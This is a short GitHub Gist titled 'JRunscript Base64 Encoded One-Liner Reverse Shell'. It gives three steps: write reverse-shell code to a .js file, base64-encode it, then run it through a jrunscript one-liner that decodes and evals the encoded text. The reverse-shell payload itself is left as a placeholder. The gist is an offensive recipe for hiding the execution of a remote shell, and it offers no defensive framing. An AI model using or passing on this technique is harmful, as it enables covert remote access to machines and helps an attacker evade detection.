Created
April 18, 2018 01:20
-
-
Save h4wkst3r/d6fa08e41bdcb591909c5f93b5f1716a to your computer and use it in GitHub Desktop.
JRunscript Base64 Encoded One-Liner Reverse Shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1. Create file with reverse shell code and name it <file name>.js | |
2. Get base64 representation of file | |
cat <file name> | base64 | |
3. Insert base64 text into one-liner shown below and run | |
jrunscript -e "eval(new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary('base64EncodedText')));" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment